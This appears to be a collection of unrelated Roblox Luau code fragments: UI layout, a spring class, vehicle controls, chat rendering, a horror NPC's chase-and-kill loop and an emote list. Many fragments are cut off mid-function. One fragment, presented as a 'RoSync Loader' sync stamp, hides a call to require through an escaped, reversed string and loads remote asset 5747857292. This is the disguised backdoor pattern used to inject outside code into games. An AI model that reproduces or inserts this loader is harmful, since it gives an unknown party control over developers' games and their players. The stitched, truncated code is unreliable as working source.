sp.Scope.Size = UDim2.new(0, 20 + sp.AbsoluteSize.y, 0, 20 + sp.AbsoluteSize.y)
sp.ScopeId.Position = UDim2.new(0.5, -10 - sp.AbsoluteSize.y / 2, 0, -26)
sp.ScopeId.Size = UDim2.new(0, 20 + sp.AbsoluteSize.y, 0, 20 + sp.AbsoluteSize.y)
sp.F1.Size = UDim2.new(0, 20 + (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 1, 20)
sp.F2.Size = UDim2.new(0, 20 + (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 1, 20)
sp.F2.Position = UDim2.new(1, -10 - (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 0, -10)
end
wait()
sp.Changed:connect(update)
update()
|
-- set collision group for player's meshes
|
local function OnDescendantAdded(child)
if( child:IsA("BasePart") or child:IsA("UnionOperation")) then
PhysicsService:SetPartCollisionGroup(child, "Player")
--print("CollisionGroup: " .. child.Name)
end
end
Players.LocalPlayer.Character.DescendantAdded:Connect(OnDescendantAdded)
|
--- Queues the hitbox to be destroyed in the next frame
|
function Hitbox:Destroy()
self.HitboxPendingRemoval = true
if self.HitboxObject then
CollectionService:RemoveTag(self.HitboxObject, self.Tag)
end
self:HitStop()
self.OnHit:Destroy()
self.OnUpdate:Destroy()
self.HitboxRaycastPoints = nil
self.HitboxObject = nil
end
|
----------------------------------
|
local PhysicsManager, SeatManager, ControlManager
local BoatModel = script.Parent
local Seat = WaitForChild(BoatModel, "VehicleSeat")
|
-- تعريف المتغيرات
|
local plank = script.Parent -- اسم المجسم الذي يمثل الخشبة
local originalPosition = plank.Position -- الموضع الأصلي للخشبة
local shakingDuration = 2 -- مدة التزعزع (بالثواني)
local fallingDuration = 1 -- مدة السقوط (بالثواني)
local shakeMagnitude = 0.2 -- قوة التزعزع
local fallHeight = 10 -- ارتفاع السقوط
|
--- Sets the command bar visible or not
|
function Window:SetVisible(visible)
Gui.Visible = visible
if visible then
Entry.TextBox:CaptureFocus()
self:SetEntryText("")
if self.Cmdr.ActivationUnlocksMouse then
self.PreviousMouseBehavior = UserInputService.MouseBehavior
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
else
Entry.TextBox:ReleaseFocus()
self.AutoComplete:Hide()
if self.PreviousMouseBehavior then
UserInputService.MouseBehavior = self.PreviousMouseBehavior
self.PreviousMouseBehavior = nil
end
end
end
|
-- declarations
|
local head = script.Parent
local sound = head:findFirstChild("Victory")
function onTouched(part)
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
sound:play()
if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
part.Parent:findFirstChild("Head"):findFirstChild("face").Texture=script.Parent.Decal.Texture
end
end
script.Parent.Touched:connect(onTouched)
|
--Version 1.43 Made my PistonsofDoom--
|
local carSeat=script.Parent.Parent.Parent.Parent
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}
while true do
wait(0.01)
local value=(carSeat.Velocity.magnitude)/1 --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!--
if value<10000 then
local nnnn=math.floor(value/1000)
local nnn=(math.floor(value/100))-(nnnn*10)
local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100)
local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000)
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
if value>=10 then
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
else
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
if value>=100 then
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
else
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
else
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
end
end
|
-- It's best if this variable was global, because then the script would be able to refer to the animation more efficiently.
| |
------------------------------------------------------------------------
|
local function StepFreecam(dt)
local vel = velSpring:Update(dt, Input.Vel(dt))
local pan = panSpring:Update(dt, Input.Pan(dt))
local fov = fovSpring:Update(dt, Input.Fov(dt))
local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2)))
cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1, 120)
cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor)
cameraRot = Vector2.new(clamp(cameraRot.x, -PITCH_LIMIT, PITCH_LIMIT), cameraRot.y%(2*pi))
local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*NAV_GAIN*dt)
cameraPos = cameraCFrame.p
Camera.CFrame = cameraCFrame
Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
Camera.FieldOfView = cameraFov
LocalPlayer.Character.HumanoidRootPart.CFrame = Camera.CFrame + Vector3.new(4,0,4) * -Camera.CFrame.lookVector
end
|
-- class
|
local spring = {};
local spring_mt = {__index = spring};
function spring.new(p0, v0, target, angularFrequency, dampingRatio)
local self = {};
self.p = p0;
self.v = v0;
self.a = 0;
self.target = target;
self.angularFrequency = angularFrequency or 0.1;
self.dampingRatio = dampingRatio or 0.1;
return setmetatable(self, spring_mt);
end;
function spring:update(dt)
local aF = self.angularFrequency;
local dR = self.dampingRatio;
if (aF < EPSILON) then return; end;
if (dR < 0) then dR = 0; end;
local epos = self.target;
local dpos = self.p - epos;
local dvel = self.v;
if (dR > 1 + EPSILON) then
local za = -aF * dR;
local zb = aF * sqrt(dR*dR - 1);
local z1 = za - zb;
local z2 = za + zb;
local expTerm1 = exp(z1 * dt);
local expTerm2 = exp(z2 * dt);
local c1 = (dvel - dpos*z2)/(-2*zb);
local c2 = dpos - c1;
self.p = epos + c1*expTerm1 + c2*expTerm2;
self.v = c1*z1*expTerm1 + c2*z2*expTerm2;
elseif (dR > 1 - EPSILON) then
-- critical
local expTerm = exp(-aF * dt);
local c1 = dvel + aF*dpos;
local c2 = dpos;
local c3 = (c1*dt + c2)*expTerm;
self.p = epos + c3;
self.v = (c1*expTerm) - (c3*aF);
else
local omegaZeta = aF*dR;
local alpha = aF*sqrt(1 - dR*dR);
local expTerm = exp(-omegaZeta*dt);
local cosTerm = cos(alpha*dt);
local sinTerm = sin(alpha*dt);
local c1 = dpos;
local c2 = (dvel + omegaZeta*dpos) / alpha;
self.p = epos + expTerm*(c1*cosTerm + c2*sinTerm);
self.v = -expTerm*((c1*omegaZeta - c2*alpha)*cosTerm + (c1*alpha + c2*omegaZeta)*sinTerm);
end;
end;
return spring;
|
--Continue the cam button to visible false mean it to invisible. Mean to exit it.
|
script.Parent.Parent.Map.Visible = false
script.Parent.Parent.Camera.Visible = false
wait(1)
script.Parent.Parent.Camera.Visible = true
wait(1)
end
script.Parent.MouseEnter:connect(OnHoverMouse)
|
--[[ Last synced 10/14/2020 09:28 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
function CreateMessageLabel(messageData, channelName)
local fromSpeaker = messageData.FromSpeaker
local speakerDisplayName = messageData.SpeakerDisplayName
local message = messageData.Message
local extraData = messageData.ExtraData or {}
local useFont = extraData.Font or ChatSettings.DefaultFont
local useTextSize = extraData.TextSize or ChatSettings.ChatWindowTextSize
local useNameColor = extraData.NameColor or ChatSettings.DefaultNameColor
local useChatColor = extraData.ChatColor or ChatSettings.DefaultMessageColor
local useChannelColor = extraData.ChannelColor or useChatColor
local formatUseName
if ChatSettings.PlayerDisplayNamesEnabled and messageData.SpeakerDisplayName then
formatUseName = string.format("[%s]:", speakerDisplayName)
else
formatUseName = string.format("[%s]:", fromSpeaker)
end
local speakerNameSize = util:GetStringTextBounds(formatUseName, useFont, useTextSize)
local numNeededSpaces = util:GetNumberOfSpaces(formatUseName, useFont, useTextSize) + 1
local BaseFrame, BaseMessage = util:CreateBaseMessage("", useFont, useTextSize, useChatColor)
local NameButton = util:AddNameButtonToBaseMessage(BaseMessage, useNameColor, formatUseName, fromSpeaker)
local ChannelButton = nil
if channelName ~= messageData.OriginalChannel then
local whisperString = messageData.OriginalChannel
if messageData.FromSpeaker ~= LocalPlayer.Name then
whisperString = string.format("From %s", messageData.FromSpeaker)
end
if ChatLocalization.tryLocalize then
whisperString = ChatLocalization:tryLocalize(whisperString)
end
local formatChannelName = string.format("{%s}", whisperString)
ChannelButton = util:AddChannelButtonToBaseMessage(BaseMessage, useChannelColor, formatChannelName, messageData.OriginalChannel)
NameButton.Position = UDim2.new(0, ChannelButton.Size.X.Offset + util:GetStringTextBounds(" ", useFont, useTextSize).X, 0, 0)
numNeededSpaces = numNeededSpaces + util:GetNumberOfSpaces(formatChannelName, useFont, useTextSize) + 1
end
local function UpdateTextFunction(messageObject)
if messageData.IsFiltered then
BaseMessage.Text = string.rep(" ", numNeededSpaces) .. messageObject.Message
else
local messageLength = messageObject.MessageLengthUtf8 or messageObject.MessageLength
BaseMessage.Text = string.rep(" ", numNeededSpaces) .. string.rep("_", messageLength)
end
end
UpdateTextFunction(messageData)
local function GetHeightFunction(xSize)
return util:GetMessageHeight(BaseMessage, BaseFrame, xSize)
end
local FadeParmaters = {}
FadeParmaters[NameButton] = {
TextTransparency = {FadedIn = 0, FadedOut = 1},
TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}
}
FadeParmaters[BaseMessage] = {
TextTransparency = {FadedIn = 0, FadedOut = 1},
TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}
}
if ChannelButton then
FadeParmaters[ChannelButton] = {
TextTransparency = {FadedIn = 0, FadedOut = 1},
TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}
}
end
local FadeInFunction, FadeOutFunction, UpdateAnimFunction = util:CreateFadeFunctions(FadeParmaters)
return {
[util.KEY_BASE_FRAME] = BaseFrame,
[util.KEY_BASE_MESSAGE] = BaseMessage,
[util.KEY_UPDATE_TEXT_FUNC] = UpdateTextFunction,
[util.KEY_GET_HEIGHT] = GetHeightFunction,
[util.KEY_FADE_IN] = FadeInFunction,
[util.KEY_FADE_OUT] = FadeOutFunction,
[util.KEY_UPDATE_ANIMATION] = UpdateAnimFunction
}
end
return {
[util.KEY_MESSAGE_TYPE] = ChatConstants.MessageTypeWhisper,
[util.KEY_CREATOR_FUNCTION] = CreateMessageLabel
}
|
--[=[
@return Trove
Constructs a Trove object.
]=]
|
function Trove.new()
local self = setmetatable({}, Trove)
self._objects = {}
self._cleaning = false
return self
end
|
--// Variables
|
local cam = workspace.CurrentCamera
local camPart = workspace["CameraPart"]
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
|
--Control Mapping
|
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.ButtonB ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.ButtonL3 ,
}
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=math.huge;
local TargetMain;
for _,TargetModel in pairs(game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
FoundHumanoid:TakeDamage(math.huge);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint = game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
spawn(function()
JeffLaughDebounce=true;
repeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
spawn(function()
MusicDebounce=true;
repeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
spawn(function()
JeffLaughDebounce=true;
repeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
spawn(function()
MusicDebounce=true;
repeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
wait(2)
JeffTheKillerHumanoid.WalkSpeed=30;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=16;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=16;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="Zombie";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=math.huge;
JeffTheKillerHumanoid.JumpPower=67;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--Armor Settings--
|
combat.ArmorDurability = 60 -- armor health
combat.ShowArmorBar = true -- make this false if u dont want the armor gui to be visible
|
--[[
An array of emotes used in previous Roblox events that there are
custom icons for
]]
|
local paidEmotes = {
{
name = "High Wave",
emote = 5915776835,
image = "rbxassetid://5925452521",
defaultTempo = 0.67,
},
{
name = "Jumping Cheer",
emote = 5895009708,
image = "rbxassetid://6998668686",
defaultTempo = 1,
},
{
name = "Floss Dance",
emote = 5917570207,
image = "rbxassetid://6998672579",
defaultTempo = 3,
},
{
name = "Rock On",
emote = 5915782672,
image = "rbxassetid://7720890125",
defaultTempo = 2,
},
{
name = "Dolphin Dance",
emote = 5938365243,
image = "rbxassetid://6998675844",
defaultTempo = 1.9,
},
{
name = "Break Dance",
emote = 5915773992,
image = "rbxassetid://6998677312",
defaultTempo = 1.2,
},
{
name = "Saturday Dance - Twenty One Pilots",
emote = 7422833723,
image = "rbxassetid://7398103425",
defaultTempo = 1,
},
{
name = "Drummer Moves - Twenty One Pilots",
emote = 7422838770,
image = "rbxassetid://7398104013",
defaultTempo = 1,
},
{
name = "On The Outside - Twenty One Pilots",
emote = 7422841700,
image = "rbxassetid://7398103501",
defaultTempo = 1,
},
{
name = "Up and Down - Twenty One Pilots",
emote = 7422843994,
image = "rbxassetid://7398103562",
defaultTempo = 1,
},
{
name = "Dancin' Shoes - Twenty One Pilots",
emote = 7405123844,
image = "rbxassetid://7423132952",
defaultTempo = 1,
},
{
name = "Old Town Road Dance - Lil Nas X (LNX)",
emote = 5938394742,
image = "rbxassetid://5925474286",
defaultTempo = 1.7,
},
{
name = "Rodeo Dance - Lil Nas X (LNX)",
emote = 5938397555,
image = "rbxassetid://5925474588",
defaultTempo = 2.4,
},
{
name = "Panini Dance - Lil Nas X (LNX)",
emote = 5915781665,
image = "rbxassetid://5925479117",
defaultTempo = 1.8,
},
{
name = "HOLIDAY Dance - Lil Nas X (LNX)",
emote = 5938396308,
image = "rbxassetid://5925479385",
defaultTempo = 1.2,
},
{
name = "Drum Master - Royal Blood",
emote = 6531538868,
image = "rbxassetid://6569858280",
defaultTempo = 1.2,
},
{
name = "Drum Solo - Royal Blood",
emote = 6532844183,
image = "rbxassetid://6569858974",
defaultTempo = 1.8,
},
{
name = "Rock Guitar - Royal Blood",
emote = 6532155086,
image = "rbxassetid://6569855964",
defaultTempo = 2.4,
},
{
name = "Rock Star - Royal Blood",
emote = 6533100850,
image = "rbxassetid://6569856589",
defaultTempo = 1.7,
},
}
local paidEmotesDict = {}
